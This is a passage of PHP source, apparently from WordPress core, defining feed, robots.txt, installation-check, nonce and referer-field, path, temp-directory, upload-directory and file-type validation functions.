function do_feed_rdf() {
load_template( ABSPATH . WPINC . '/feed-rdf.php' );
}
/**
* Load the RSS 1.0 Feed Template.
*
* @since 2.1.0
*
* @see load_template()
*/
function do_feed_rss() {
load_template( ABSPATH . WPINC . '/feed-rss.php' );
}
/**
* Load either the RSS2 comment feed or the RSS2 posts feed.
*
* @since 2.1.0
*
* @see load_template()
*
* @param bool $for_comments True for the comment feed, false for normal feed.
*/
function do_feed_rss2( $for_comments ) {
if ( $for_comments )
load_template( ABSPATH . WPINC . '/feed-rss2-comments.php' );
else
load_template( ABSPATH . WPINC . '/feed-rss2.php' );
}
/**
* Load either Atom comment feed or Atom posts feed.
*
* @since 2.1.0
*
* @see load_template()
*
* @param bool $for_comments True for the comment feed, false for normal feed.
*/
function do_feed_atom( $for_comments ) {
if ($for_comments)
load_template( ABSPATH . WPINC . '/feed-atom-comments.php');
else
load_template( ABSPATH . WPINC . '/feed-atom.php' );
}
/**
* Display the robots.txt file content.
*
* The echo content should be with usage of the permalinks or for creating the
* robots.txt file.
*
* @since 2.1.0
*/
function do_robots() {
header( 'Content-Type: text/plain; charset=utf-8' );
/**
* Fires when displaying the robots.txt file.
*
* @since 2.1.0
*/
do_action( 'do_robotstxt' );
$output = "User-agent: *\n";
$public = get_option( 'blog_public' );
if ( '0' == $public ) {
$output .= "Disallow: /\n";
} else {
$site_url = parse_url( site_url() );
$path = ( !empty( $site_url['path'] ) ) ? $site_url['path'] : '';
$output .= "Disallow: $path/wp-admin/\n";
$output .= "Allow: $path/wp-admin/admin-ajax.php\n";
}
/**
* Filters the robots.txt output.
*
* @since 3.0.0
*
* @param string $output Robots.txt output.
* @param bool $public Whether the site is considered "public".
*/
echo apply_filters( 'robots_txt', $output, $public );
}
/**
* Determines whether WordPress is already installed.
*
* The cache will be checked first. If you have a cache plugin, which saves
* the cache values, then this will work. If you use the default WordPress
* cache, and the database goes away, then you might have problems.
*
* Checks for the 'siteurl' option for whether WordPress is installed.
*
* For more information on this and similar theme functions, check out
* the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
* Conditional Tags} article in the Theme Developer Handbook.
*
* @since 2.1.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @return bool Whether the site is already installed.
*/
function is_blog_installed() {
global $wpdb;
/*
* Check cache first. If options table goes away and we have true
* cached, oh well.
*/
if ( wp_cache_get( 'is_blog_installed' ) )
return true;
$suppress = $wpdb->suppress_errors();
if ( ! wp_installing() ) {
$alloptions = wp_load_alloptions();
}
// If siteurl is not set to autoload, check it specifically
if ( !isset( $alloptions['siteurl'] ) )
$installed = $wpdb->get_var( "SELECT option_value FROM $wpdb->options WHERE option_name = 'siteurl'" );
else
$installed = $alloptions['siteurl'];
$wpdb->suppress_errors( $suppress );
$installed = !empty( $installed );
wp_cache_set( 'is_blog_installed', $installed );
if ( $installed )
return true;
// If visiting repair.php, return true and let it take over.
if ( defined( 'WP_REPAIRING' ) )
return true;
$suppress = $wpdb->suppress_errors();
/*
* Loop over the WP tables. If none exist, then scratch installation is allowed.
* If one or more exist, suggest table repair since we got here because the
* options table could not be accessed.
*/
$wp_tables = $wpdb->tables();
foreach ( $wp_tables as $table ) {
// The existence of custom user tables shouldn't suggest an insane state or prevent a clean installation.
if ( defined( 'CUSTOM_USER_TABLE' ) && CUSTOM_USER_TABLE == $table )
continue;
if ( defined( 'CUSTOM_USER_META_TABLE' ) && CUSTOM_USER_META_TABLE == $table )
continue;
if ( ! $wpdb->get_results( "DESCRIBE $table;" ) )
continue;
// One or more tables exist. We are insane.
wp_load_translations_early();
// Die with a DB error.
$wpdb->error = sprintf(
/* translators: %s: database repair URL */
__( 'One or more database tables are unavailable. The database may need to be <a href="%s">repaired</a>.' ),
'maint/repair.php?referrer=is_blog_installed'
);
dead_db();
}
$wpdb->suppress_errors( $suppress );
wp_cache_set( 'is_blog_installed', false );
return false;
}
/**
* Retrieve URL with nonce added to URL query.
*
* @since 2.0.4
*
* @param string $actionurl URL to add nonce action.
* @param int|string $action Optional. Nonce action name. Default -1.
* @param string $name Optional. Nonce name. Default '_wpnonce'.
* @return string Escaped URL with nonce action added.
*/
function wp_nonce_url( $actionurl, $action = -1, $name = '_wpnonce' ) {
$actionurl = str_replace( '&', '&', $actionurl );
return esc_html( add_query_arg( $name, wp_create_nonce( $action ), $actionurl ) );
}
/**
* Retrieve or display nonce hidden field for forms.
*
* The nonce field is used to validate that the contents of the form came from
* the location on the current site and not somewhere else. The nonce does not
* offer absolute protection, but should protect against most cases. It is very
* important to use nonce field in forms.
*
* The $action and $name are optional, but if you want to have better security,
* it is strongly suggested to set those two parameters. It is easier to just
* call the function without any parameters, because validation of the nonce
* doesn't require any parameters, but since crackers know what the default is
* it won't be difficult for them to find a way around your nonce and cause
* damage.
*
* The input name will be whatever $name value you gave. The input value will be
* the nonce creation value.
*
* @since 2.0.4
*
* @param int|string $action Optional. Action name. Default -1.
* @param string $name Optional. Nonce name. Default '_wpnonce'.
* @param bool $referer Optional. Whether to set the referer field for validation. Default true.
* @param bool $echo Optional. Whether to display or return hidden form field. Default true.
* @return string Nonce field HTML markup.
*/
function wp_nonce_field( $action = -1, $name = "_wpnonce", $referer = true , $echo = true ) {
$name = esc_attr( $name );
$nonce_field = '<input type="hidden" id="' . $name . '" name="' . $name . '" value="' . wp_create_nonce( $action ) . '" />';
if ( $referer )
$nonce_field .= wp_referer_field( false );
if ( $echo )
echo $nonce_field;
return $nonce_field;
}
/**
* Retrieve or display referer hidden field for forms.
*
* The referer link is the current Request URI from the server super global. The
* input name is '_wp_http_referer', in case you wanted to check manually.
*
* @since 2.0.4
*
* @param bool $echo Optional. Whether to echo or return the referer field. Default true.
* @return string Referer field HTML markup.
*/
function wp_referer_field( $echo = true ) {
$referer_field = '<input type="hidden" name="_wp_http_referer" value="'. esc_attr( wp_unslash( $_SERVER['REQUEST_URI'] ) ) . '" />';
if ( $echo )
echo $referer_field;
return $referer_field;
}
/**
* Retrieve or display original referer hidden field for forms.
*
* The input name is '_wp_original_http_referer' and will be either the same
* value of wp_referer_field(), if that was posted already or it will be the
* current page, if it doesn't exist.
*
* @since 2.0.4
*
* @param bool $echo Optional. Whether to echo the original http referer. Default true.
* @param string $jump_back_to Optional. Can be 'previous' or page you want to jump back to.
* Default 'current'.
* @return string Original referer field.
*/
function wp_original_referer_field( $echo = true, $jump_back_to = 'current' ) {
if ( ! $ref = wp_get_original_referer() ) {
$ref = 'previous' == $jump_back_to ? wp_get_referer() : wp_unslash( $_SERVER['REQUEST_URI'] );
}
$orig_referer_field = '<input type="hidden" name="_wp_original_http_referer" value="' . esc_attr( $ref ) . '" />';
if ( $echo )
echo $orig_referer_field;
return $orig_referer_field;
}
/**
* Retrieve referer from '_wp_http_referer' or HTTP referer.
*
* If it's the same as the current request URL, will return false.
*
* @since 2.0.4
*
* @return false|string False on failure. Referer URL on success.
*/
function wp_get_referer() {
if ( ! function_exists( 'wp_validate_redirect' ) ) {
return false;
}
$ref = wp_get_raw_referer();
if ( $ref && $ref !== wp_unslash( $_SERVER['REQUEST_URI'] ) && $ref !== home_url() . wp_unslash( $_SERVER['REQUEST_URI'] ) ) {
return wp_validate_redirect( $ref, false );
}
return false;
}
/**
* Retrieves unvalidated referer from '_wp_http_referer' or HTTP referer.
*
* Do not use for redirects, use wp_get_referer() instead.
*
* @since 4.5.0
*
* @return string|false Referer URL on success, false on failure.
*/
function wp_get_raw_referer() {
if ( ! empty( $_REQUEST['_wp_http_referer'] ) ) {
return wp_unslash( $_REQUEST['_wp_http_referer'] );
} else if ( ! empty( $_SERVER['HTTP_REFERER'] ) ) {
return wp_unslash( $_SERVER['HTTP_REFERER'] );
}
return false;
}
/**
* Retrieve original referer that was posted, if it exists.
*
* @since 2.0.4
*
* @return string|false False if no original referer or original referer if set.
*/
function wp_get_original_referer() {
if ( ! empty( $_REQUEST['_wp_original_http_referer'] ) && function_exists( 'wp_validate_redirect' ) )
return wp_validate_redirect( wp_unslash( $_REQUEST['_wp_original_http_referer'] ), false );
return false;
}
/**
* Recursive directory creation based on full path.
*
* Will attempt to set permissions on folders.
*
* @since 2.0.1
*
* @param string $target Full path to attempt to create.
* @return bool Whether the path was created. True if path already exists.
*/
function wp_mkdir_p( $target ) {
$wrapper = null;
// Strip the protocol.
if ( wp_is_stream( $target ) ) {
list( $wrapper, $target ) = explode( '://', $target, 2 );
}
// From php.net/mkdir user contributed notes.
$target = str_replace( '//', '/', $target );
// Put the wrapper back on the target.
if ( $wrapper !== null ) {
$target = $wrapper . '://' . $target;
}
/*
* Safe mode fails with a trailing slash under certain PHP versions.
* Use rtrim() instead of untrailingslashit to avoid formatting.php dependency.
*/
$target = rtrim($target, '/');
if ( empty($target) )
$target = '/';
if ( file_exists( $target ) )
return @is_dir( $target );
// Do not allow path traversals.
if ( false !== strpos( $target, '../' ) || false !== strpos( $target, '..' . DIRECTORY_SEPARATOR ) ) {
return false;
}
// We need to find the permissions of the parent folder that exists and inherit that.
$target_parent = dirname( $target );
while ( '.' != $target_parent && ! is_dir( $target_parent ) && dirname( $target_parent ) !== $target_parent ) {
$target_parent = dirname( $target_parent );
}
// Get the permission bits.
if ( $stat = @stat( $target_parent ) ) {
$dir_perms = $stat['mode'] & 0007777;
} else {
$dir_perms = 0777;
}
if ( @mkdir( $target, $dir_perms, true ) ) {
/*
* If a umask is set that modifies $dir_perms, we'll have to re-set
* the $dir_perms correctly with chmod()
*/
if ( $dir_perms != ( $dir_perms & ~umask() ) ) {
$folder_parts = explode( '/', substr( $target, strlen( $target_parent ) + 1 ) );
for ( $i = 1, $c = count( $folder_parts ); $i <= $c; $i++ ) {
@chmod( $target_parent . '/' . implode( '/', array_slice( $folder_parts, 0, $i ) ), $dir_perms );
}
}
return true;
}
return false;
}
/**
* Test if a given filesystem path is absolute.
*
* For example, '/foo/bar', or 'c:\windows'.
*
* @since 2.5.0
*
* @param string $path File path.
* @return bool True if path is absolute, false is not absolute.
*/
function path_is_absolute( $path ) {
/*
* This is definitive if true but fails if $path does not exist or contains
* a symbolic link.
*/
if ( realpath($path) == $path )
return true;
if ( strlen($path) == 0 || $path[0] == '.' )
return false;
// Windows allows absolute paths like this.
if ( preg_match('#^[a-zA-Z]:\\\\#', $path) )
return true;
// A path starting with / or \ is absolute; anything else is relative.
return ( $path[0] == '/' || $path[0] == '\\' );
}
/**
* Join two filesystem paths together.
*
* For example, 'give me $path relative to $base'. If the $path is absolute,
* then it the full path is returned.
*
* @since 2.5.0
*
* @param string $base Base path.
* @param string $path Path relative to $base.
* @return string The path with the base or absolute path.
*/
function path_join( $base, $path ) {
if ( path_is_absolute($path) )
return $path;
return rtrim($base, '/') . '/' . ltrim($path, '/');
}
/**
* Normalize a filesystem path.
*
* On windows systems, replaces backslashes with forward slashes
* and forces upper-case drive letters.
* Allows for two leading slashes for Windows network shares, but
* ensures that all other duplicate slashes are reduced to a single.
*
* @since 3.9.0
* @since 4.4.0 Ensures upper-case drive letters on Windows systems.
* @since 4.5.0 Allows for Windows network shares.
* @since 4.9.7 Allows for PHP file wrappers.
*
* @param string $path Path to normalize.
* @return string Normalized path.
*/
function wp_normalize_path( $path ) {
$wrapper = '';
if ( wp_is_stream( $path ) ) {
list( $wrapper, $path ) = explode( '://', $path, 2 );
$wrapper .= '://';
}
// Standardise all paths to use /
$path = str_replace( '\\', '/', $path );
// Replace multiple slashes down to a singular, allowing for network shares having two slashes.
$path = preg_replace( '|(?<=.)/+|', '/', $path );
// Windows paths should uppercase the drive letter
if ( ':' === substr( $path, 1, 1 ) ) {
$path = ucfirst( $path );
}
return $wrapper . $path;
}
/**
* Determine a writable directory for temporary files.
*
* Function's preference is the return value of sys_get_temp_dir(),
* followed by your PHP temporary upload directory, followed by WP_CONTENT_DIR,
* before finally defaulting to /tmp/
*
* In the event that this function does not find a writable location,
* It may be overridden by the WP_TEMP_DIR constant in your wp-config.php file.
*
* @since 2.5.0
*
* @staticvar string $temp
*
* @return string Writable temporary directory.
*/
function get_temp_dir() {
static $temp = '';
if ( defined('WP_TEMP_DIR') )
return trailingslashit(WP_TEMP_DIR);
if ( $temp )
return trailingslashit( $temp );
if ( function_exists('sys_get_temp_dir') ) {
$temp = sys_get_temp_dir();
if ( @is_dir( $temp ) && wp_is_writable( $temp ) )
return trailingslashit( $temp );
}
$temp = ini_get('upload_tmp_dir');
if ( @is_dir( $temp ) && wp_is_writable( $temp ) )
return trailingslashit( $temp );
$temp = WP_CONTENT_DIR . '/';
if ( is_dir( $temp ) && wp_is_writable( $temp ) )
return $temp;
return '/tmp/';
}
/**
* Determine if a directory is writable.
*
* This function is used to work around certain ACL issues in PHP primarily
* affecting Windows Servers.
*
* @since 3.6.0
*
* @see win_is_writable()
*
* @param string $path Path to check for write-ability.
* @return bool Whether the path is writable.
*/
function wp_is_writable( $path ) {
if ( 'WIN' === strtoupper( substr( PHP_OS, 0, 3 ) ) )
return win_is_writable( $path );
else
return @is_writable( $path );
}
/**
* Workaround for Windows bug in is_writable() function
*
* PHP has issues with Windows ACL's for determine if a
* directory is writable or not, this works around them by
* checking the ability to open files rather than relying
* upon PHP to interprate the OS ACL.
*
* @since 2.8.0
*
* @see https://bugs.php.net/bug.php?id=27609
* @see https://bugs.php.net/bug.php?id=30931
*
* @param string $path Windows path to check for write-ability.
* @return bool Whether the path is writable.
*/
function win_is_writable( $path ) {
if ( $path[strlen( $path ) - 1] == '/' ) { // if it looks like a directory, check a random file within the directory
return win_is_writable( $path . uniqid( mt_rand() ) . '.tmp');
} elseif ( is_dir( $path ) ) { // If it's a directory (and not a file) check a random file within the directory
return win_is_writable( $path . '/' . uniqid( mt_rand() ) . '.tmp' );
}
// check tmp file for read/write capabilities
$should_delete_tmp_file = !file_exists( $path );
$f = @fopen( $path, 'a' );
if ( $f === false )
return false;
fclose( $f );
if ( $should_delete_tmp_file )
unlink( $path );
return true;
}
/**
* Retrieves uploads directory information.
*
* Same as wp_upload_dir() but "light weight" as it doesn't attempt to create the uploads directory.
* Intended for use in themes, when only 'basedir' and 'baseurl' are needed, generally in all cases
* when not uploading files.
*
* @since 4.5.0
*
* @see wp_upload_dir()
*
* @return array See wp_upload_dir() for description.
*/
function wp_get_upload_dir() {
return wp_upload_dir( null, false );
}
/**
* Get an array containing the current upload directory's path and url.
*
* Checks the 'upload_path' option, which should be from the web root folder,
* and if it isn't empty it will be used. If it is empty, then the path will be
* 'WP_CONTENT_DIR/uploads'. If the 'UPLOADS' constant is defined, then it will
* override the 'upload_path' option and 'WP_CONTENT_DIR/uploads' path.
*
* The upload URL path is set either by the 'upload_url_path' option or by using
* the 'WP_CONTENT_URL' constant and appending '/uploads' to the path.
*
* If the 'uploads_use_yearmonth_folders' is set to true (checkbox if checked in
* the administration settings panel), then the time will be used. The format
* will be year first and then month.
*
* If the path couldn't be created, then an error will be returned with the key
* 'error' containing the error message. The error suggests that the parent
* directory is not writable by the server.
*
* On success, the returned array will have many indices:
* 'path' - base directory and sub directory or full path to upload directory.
* 'url' - base url and sub directory or absolute URL to upload directory.
* 'subdir' - sub directory if uploads use year/month folders option is on.
* 'basedir' - path without subdir.
* 'baseurl' - URL path without subdir.
* 'error' - false or error message.
*
* @since 2.0.0
* @uses _wp_upload_dir()
*
* @staticvar array $cache
* @staticvar array $tested_paths
*
* @param string $time Optional. Time formatted in 'yyyy/mm'. Default null.
* @param bool $create_dir Optional. Whether to check and create the uploads directory.
* Default true for backward compatibility.
* @param bool $refresh_cache Optional. Whether to refresh the cache. Default false.
* @return array See above for description.
*/
function wp_upload_dir( $time = null, $create_dir = true, $refresh_cache = false ) {
static $cache = array(), $tested_paths = array();
$key = sprintf( '%d-%s', get_current_blog_id(), (string) $time );
if ( $refresh_cache || empty( $cache[ $key ] ) ) {
$cache[ $key ] = _wp_upload_dir( $time );
}
/**
* Filters the uploads directory data.
*
* @since 2.0.0
*
* @param array $uploads Array of upload directory data with keys of 'path',
* 'url', 'subdir, 'basedir', and 'error'.
*/
$uploads = apply_filters( 'upload_dir', $cache[ $key ] );
if ( $create_dir ) {
$path = $uploads['path'];
if ( array_key_exists( $path, $tested_paths ) ) {
$uploads['error'] = $tested_paths[ $path ];
} else {
if ( ! wp_mkdir_p( $path ) ) {
if ( 0 === strpos( $uploads['basedir'], ABSPATH ) ) {
$error_path = str_replace( ABSPATH, '', $uploads['basedir'] ) . $uploads['subdir'];
} else {
$error_path = basename( $uploads['basedir'] ) . $uploads['subdir'];
}
$uploads['error'] = sprintf(
/* translators: %s: directory path */
__( 'Unable to create directory %s. Is its parent directory writable by the server?' ),
esc_html( $error_path )
);
}
$tested_paths[ $path ] = $uploads['error'];
}
}
return $uploads;
}
/**
* A non-filtered, non-cached version of wp_upload_dir() that doesn't check the path.
*
* @since 4.5.0
* @access private
*
* @param string $time Optional. Time formatted in 'yyyy/mm'. Default null.
* @return array See wp_upload_dir()
*/
function _wp_upload_dir( $time = null ) {
$siteurl = get_option( 'siteurl' );
$upload_path = trim( get_option( 'upload_path' ) );
if ( empty( $upload_path ) || 'wp-content/uploads' == $upload_path ) {
$dir = WP_CONTENT_DIR . '/uploads';
} elseif ( 0 !== strpos( $upload_path, ABSPATH ) ) {
// $dir is absolute, $upload_path is (maybe) relative to ABSPATH
$dir = path_join( ABSPATH, $upload_path );
} else {
$dir = $upload_path;
}
if ( !$url = get_option( 'upload_url_path' ) ) {
if ( empty($upload_path) || ( 'wp-content/uploads' == $upload_path ) || ( $upload_path == $dir ) )
$url = WP_CONTENT_URL . '/uploads';
else
$url = trailingslashit( $siteurl ) . $upload_path;
}
/*
* Honor the value of UPLOADS. This happens as long as ms-files rewriting is disabled.
* We also sometimes obey UPLOADS when rewriting is enabled -- see the next block.
*/
if ( defined( 'UPLOADS' ) && ! ( is_multisite() && get_site_option( 'ms_files_rewriting' ) ) ) {
$dir = ABSPATH . UPLOADS;
$url = trailingslashit( $siteurl ) . UPLOADS;
}
// If multisite (and if not the main site in a post-MU network)
if ( is_multisite() && ! ( is_main_network() && is_main_site() && defined( 'MULTISITE' ) ) ) {
if ( ! get_site_option( 'ms_files_rewriting' ) ) {
/*
* If ms-files rewriting is disabled (networks created post-3.5), it is fairly
* straightforward: Append sites/%d if we're not on the main site (for post-MU
* networks). (The extra directory prevents a four-digit ID from conflicting with
* a year-based directory for the main site. But if a MU-era network has disabled
* ms-files rewriting manually, they don't need the extra directory, as they never
* had wp-content/uploads for the main site.)
*/
if ( defined( 'MULTISITE' ) )
$ms_dir = '/sites/' . get_current_blog_id();
else
$ms_dir = '/' . get_current_blog_id();
$dir .= $ms_dir;
$url .= $ms_dir;
} elseif ( defined( 'UPLOADS' ) && ! ms_is_switched() ) {
/*
* Handle the old-form ms-files.php rewriting if the network still has that enabled.
* When ms-files rewriting is enabled, then we only listen to UPLOADS when:
* 1) We are not on the main site in a post-MU network, as wp-content/uploads is used
* there, and
* 2) We are not switched, as ms_upload_constants() hardcodes these constants to reflect
* the original blog ID.
*
* Rather than UPLOADS, we actually use BLOGUPLOADDIR if it is set, as it is absolute.
* (And it will be set, see ms_upload_constants().) Otherwise, UPLOADS can be used, as
* as it is relative to ABSPATH. For the final piece: when UPLOADS is used with ms-files
* rewriting in multisite, the resulting URL is /files. (#WP22702 for background.)
*/
if ( defined( 'BLOGUPLOADDIR' ) )
$dir = untrailingslashit( BLOGUPLOADDIR );
else
$dir = ABSPATH . UPLOADS;
$url = trailingslashit( $siteurl ) . 'files';
}
}
$basedir = $dir;
$baseurl = $url;
$subdir = '';
if ( get_option( 'uploads_use_yearmonth_folders' ) ) {
// Generate the yearly and monthly dirs
if ( !$time )
$time = current_time( 'mysql' );
$y = substr( $time, 0, 4 );
$m = substr( $time, 5, 2 );
$subdir = "/$y/$m";
}
$dir .= $subdir;
$url .= $subdir;
return array(
'path' => $dir,
'url' => $url,
'subdir' => $subdir,
'basedir' => $basedir,
'baseurl' => $baseurl,
'error' => false,
);
}
/**
* Get a filename that is sanitized and unique for the given directory.
*
* If the filename is not unique, then a number will be added to the filename
* before the extension, and will continue adding numbers until the filename is
* unique.
*
* The callback is passed three parameters, the first one is the directory, the
* second is the filename, and the third is the extension.
*
* @since 2.5.0
*
* @param string $dir Directory.
* @param string $filename File name.
* @param callable $unique_filename_callback Callback. Default null.
* @return string New filename, if given wasn't unique.
*/
function wp_unique_filename( $dir, $filename, $unique_filename_callback = null ) {
// Sanitize the file name before we begin processing.
$filename = sanitize_file_name($filename);
// Separate the filename into a name and extension.
$ext = pathinfo( $filename, PATHINFO_EXTENSION );
$name = pathinfo( $filename, PATHINFO_BASENAME );
if ( $ext ) {
$ext = '.' . $ext;
}
// Edge case: if file is named '.ext', treat as an empty name.
if ( $name === $ext ) {
$name = '';
}
/*
* Increment the file number until we have a unique file to save in $dir.
* Use callback if supplied.
*/
if ( $unique_filename_callback && is_callable( $unique_filename_callback ) ) {
$filename = call_user_func( $unique_filename_callback, $dir, $name, $ext );
} else {
$number = '';
// Change '.ext' to lower case.
if ( $ext && strtolower($ext) != $ext ) {
$ext2 = strtolower($ext);
$filename2 = preg_replace( '|' . preg_quote($ext) . '$|', $ext2, $filename );
// Check for both lower and upper case extension or image sub-sizes may be overwritten.
while ( file_exists($dir . "/$filename") || file_exists($dir . "/$filename2") ) {
$new_number = (int) $number + 1;
$filename = str_replace( array( "-$number$ext", "$number$ext" ), "-$new_number$ext", $filename );
$filename2 = str_replace( array( "-$number$ext2", "$number$ext2" ), "-$new_number$ext2", $filename2 );
$number = $new_number;
}
/**
* Filters the result when generating a unique file name.
*
* @since 4.5.0
*
* @param string $filename Unique file name.
* @param string $ext File extension, eg. ".png".
* @param string $dir Directory path.
* @param callable|null $unique_filename_callback Callback function that generates the unique file name.
*/
return apply_filters( 'wp_unique_filename', $filename2, $ext, $dir, $unique_filename_callback );
}
while ( file_exists( $dir . "/$filename" ) ) {
$new_number = (int) $number + 1;
if ( '' == "$number$ext" ) {
$filename = "$filename-" . $new_number;
} else {
$filename = str_replace( array( "-$number$ext", "$number$ext" ), "-" . $new_number . $ext, $filename );
}
$number = $new_number;
}
}
/** This filter is documented in wp-includes/functions.php */
return apply_filters( 'wp_unique_filename', $filename, $ext, $dir, $unique_filename_callback );
}
/**
* Create a file in the upload folder with given content.
*
* If there is an error, then the key 'error' will exist with the error message.
* If success, then the key 'file' will have the unique file path, the 'url' key
* will have the link to the new file. and the 'error' key will be set to false.
*
* This function will not move an uploaded file to the upload folder. It will
* create a new file with the content in $bits parameter. If you move the upload
* file, read the content of the uploaded file, and then you can give the
* filename and content to this function, which will add it to the upload
* folder.
*
* The permissions will be set on the new file automatically by this function.
*
* @since 2.0.0
*
* @param string $name Filename.
* @param null|string $deprecated Never used. Set to null.
* @param mixed $bits File content
* @param string $time Optional. Time formatted in 'yyyy/mm'. Default null.
* @return array
*/
function wp_upload_bits( $name, $deprecated, $bits, $time = null ) {
if ( !empty( $deprecated ) )
_deprecated_argument( __FUNCTION__, '2.0.0' );
if ( empty( $name ) )
return array( 'error' => __( 'Empty filename' ) );
$wp_filetype = wp_check_filetype( $name );
if ( ! $wp_filetype['ext'] && ! current_user_can( 'unfiltered_upload' ) )
return array( 'error' => __( 'Sorry, this file type is not permitted for security reasons.' ) );
$upload = wp_upload_dir( $time );
if ( $upload['error'] !== false )
return $upload;
/**
* Filters whether to treat the upload bits as an error.
*
* Passing a non-array to the filter will effectively short-circuit preparing
* the upload bits, returning that value instead.
*
* @since 3.0.0
*
* @param mixed $upload_bits_error An array of upload bits data, or a non-array error to return.
*/
$upload_bits_error = apply_filters( 'wp_upload_bits', array( 'name' => $name, 'bits' => $bits, 'time' => $time ) );
if ( !is_array( $upload_bits_error ) ) {
$upload[ 'error' ] = $upload_bits_error;
return $upload;
}
$filename = wp_unique_filename( $upload['path'], $name );
$new_file = $upload['path'] . "/$filename";
if ( ! wp_mkdir_p( dirname( $new_file ) ) ) {
if ( 0 === strpos( $upload['basedir'], ABSPATH ) )
$error_path = str_replace( ABSPATH, '', $upload['basedir'] ) . $upload['subdir'];
else
$error_path = basename( $upload['basedir'] ) . $upload['subdir'];
$message = sprintf(
/* translators: %s: directory path */
__( 'Unable to create directory %s. Is its parent directory writable by the server?' ),
$error_path
);
return array( 'error' => $message );
}
$ifp = @ fopen( $new_file, 'wb' );
if ( ! $ifp )
return array( 'error' => sprintf( __( 'Could not write file %s' ), $new_file ) );
@fwrite( $ifp, $bits );
fclose( $ifp );
clearstatcache();
// Set correct file permissions
$stat = @ stat( dirname( $new_file ) );
$perms = $stat['mode'] & 0007777;
$perms = $perms & 0000666;
@ chmod( $new_file, $perms );
clearstatcache();
// Compute the URL
$url = $upload['url'] . "/$filename";
/** This filter is documented in wp-admin/includes/file.php */
return apply_filters( 'wp_handle_upload', array( 'file' => $new_file, 'url' => $url, 'type' => $wp_filetype['type'], 'error' => false ), 'sideload' );
}
/**
* Retrieve the file type based on the extension name.
*
* @since 2.5.0
*
* @param string $ext The extension to search.
* @return string|void The file type, example: audio, video, document, spreadsheet, etc.
*/
function wp_ext2type( $ext ) {
$ext = strtolower( $ext );
$ext2type = wp_get_ext_types();
foreach ( $ext2type as $type => $exts )
if ( in_array( $ext, $exts ) )
return $type;
}
/**
* Retrieve the file type from the file name.
*
* You can optionally define the mime array, if needed.
*
* @since 2.0.4
*
* @param string $filename File name or path.
* @param array $mimes Optional. Key is the file extension with value as the mime type.
* @return array Values with extension first and mime type.
*/
function wp_check_filetype( $filename, $mimes = null ) {
if ( empty($mimes) )
$mimes = get_allowed_mime_types();
$type = false;
$ext = false;
foreach ( $mimes as $ext_preg => $mime_match ) {
$ext_preg = '!\.(' . $ext_preg . ')$!i';
if ( preg_match( $ext_preg, $filename, $ext_matches ) ) {
$type = $mime_match;
$ext = $ext_matches[1];
break;
}
}
return compact( 'ext', 'type' );
}
/**
* Attempt to determine the real file type of a file.
*
* If unable to, the file name extension will be used to determine type.
*
* If it's determined that the extension does not match the file's real type,
* then the "proper_filename" value will be set with a proper filename and extension.
*
* Currently this function only supports renaming images validated via wp_get_image_mime().
*
* @since 3.0.0
*
* @param string $file Full path to the file.
* @param string $filename The name of the file (may differ from $file due to $file being
* in a tmp directory).
* @param array $mimes Optional. Key is the file extension with value as the mime type.
* @return array Values for the extension, MIME, and either a corrected filename or false
* if original $filename is valid.
*/
function wp_check_filetype_and_ext( $file, $filename, $mimes = null ) {
$proper_filename = false;
// Do basic extension validation and MIME mapping
$wp_filetype = wp_check_filetype( $filename, $mimes );
$ext = $wp_filetype['ext'];
$type = $wp_filetype['type'];
// We can't do any further validation without a file to work with
if ( ! file_exists( $file ) ) {
return compact( 'ext', 'type', 'proper_filename' );
}
$real_mime = false;
// Validate image types.
if ( $type && 0 === strpos( $type, 'image/' ) ) {
// Attempt to figure out what type of image it actually is
$real_mime = wp_get_image_mime( $file );
if ( $real_mime && $real_mime != $type ) {
/**
* Filters the list mapping image mime types to their respective extensions.
*
* @since 3.0.0
*
* @param array $mime_to_ext Array of image mime types and their matching extensions.
*/
$mime_to_ext = apply_filters( 'getimagesize_mimes_to_exts', array(
'image/jpeg' => 'jpg',
'image/png' => 'png',
'image/gif' => 'gif',
'image/bmp' => 'bmp',
'image/tiff' => 'tif',
) );
// Replace whatever is after the last period in the filename with the correct extension
if ( ! empty( $mime_to_ext[ $real_mime ] ) ) {
$filename_parts = explode( '.', $filename );
array_pop( $filename_parts );
$filename_parts[] = $mime_to_ext[ $real_mime ];
$new_filename = implode( '.', $filename_parts );
if ( $new_filename != $filename ) {
$proper_filename = $new_filename; // Mark that it changed
}
// Redefine the extension / MIME
$wp_filetype = wp_check_filetype( $new_filename, $mimes );
$ext = $wp_filetype['ext'];
$type = $wp_filetype['type'];
} else {
// Reset $real_mime and try validating again.
$real_mime = false;
}
}
}
// Validate files that didn't get validated during previous checks.
if ( $type && ! $real_mime && extension_loaded( 'fileinfo' ) ) {
$finfo = finfo_open( FILEINFO_MIME_TYPE );
$real_mime = finfo_file( $finfo, $file );
finfo_close( $finfo );
// fileinfo often misidentifies obscure files as one of these types
$nonspecific_types = array(
'application/octet-stream',
'application/encrypted',
'application/CDFV2-encrypted',
'application/zip',
);
/*
* If $real_mime doesn't match the content type we're expecting from the file's extension,
* we need to do some additional vetting. Media types and those listed in $nonspecific_types are
* allowed some leeway, but anything else must exactly match the real content type.
*/
if ( in_array( $real_mime, $nonspecific_types, true ) ) {
// File is a non-specific binary type. That's ok if it's a type that generally tends to be binary.
if ( !in_array( substr( $type, 0, strcspn( $type, '/' ) ), array( 'application', 'video', 'audio' ) ) ) {
$type = $ext = false;
}
} elseif ( 0 === strpos( $real_mime, 'video/' ) || 0 === strpos( $real_mime, 'audio/' ) ) {
/*
* For these types, only the major type must match the real value.
* This means that common mismatches are forgiven: application/vnd.apple.numbers is often misidentified as application/zip,
* and some media files are commonly named with the wrong extension (.mov instead of .mp4)
*/
if ( substr( $real_mime, 0, strcspn( $real_mime, '/' ) ) !== substr( $type, 0, strcspn( $type, '/' ) ) ) {
$type = $ext = false;
}
} elseif ( 'text/plain' === $real_mime ) {
// A few common file types are occasionally detected as text/plain; allow those.
if ( ! in_array(
$type,
array(
'text/plain',
'text/csv',
'text/richtext',
'text/tsv',
'text/vtt',
)
)
) {
$type = $ext = false;
}
} elseif ( 'text/rtf' === $real_mime ) {
// Special casing for RTF files.
if ( ! in_array(
$type,
array(
'text/rtf',
'text/plain',
'application/rtf',
)
)
) {
$type = $ext = false;
}
} else {
if ( $type !== $real_mime ) {
/*
* Everything else including image/* and application/*:
* If the real content type doesn't match the file extension, assume it's dangerous.
*/
$type = $ext = false;
}
}
}
// The mime type must be allowed
if ( $type ) {
$allowed = get_allowed_mime_types();
if ( ! in_array( $type, $allowed ) ) {
